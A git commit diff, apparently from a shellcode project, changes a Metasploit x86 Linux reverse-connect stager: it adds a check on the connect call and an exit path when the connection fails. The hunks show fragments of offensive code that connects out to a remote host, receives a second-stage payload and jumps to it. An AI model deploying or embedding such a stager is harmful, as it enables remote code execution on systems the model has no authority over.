fit source to shellcode prev change

This commit is contained in:
tkmru 2017-07-12 16:26:00 +09:00
parent 14b37c2101
commit 62533509c6
1 changed files with 9 additions and 2 deletions

View File

@ -1,9 +1,9 @@
;;
;
;
; Name: stager_sock_reverse
; Qualities: Can Have Nulls
; Version: $Revision: 1512 $
; License:
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
@ -62,6 +62,8 @@ connect:
mov ecx, esp ; socketcall args
inc ebx ; 3 = SYS_CONNECT
int 0x80
test eax, eax
js failed
%ifndef USE_SINGLE_STAGE
@ -85,4 +87,9 @@ recv:
int 0x80
jmp ecx
failed:
mov eax, 0x1
mov ebx, 0x1 ; set exit status to 1
int 0x80 ; sys_exit
%endif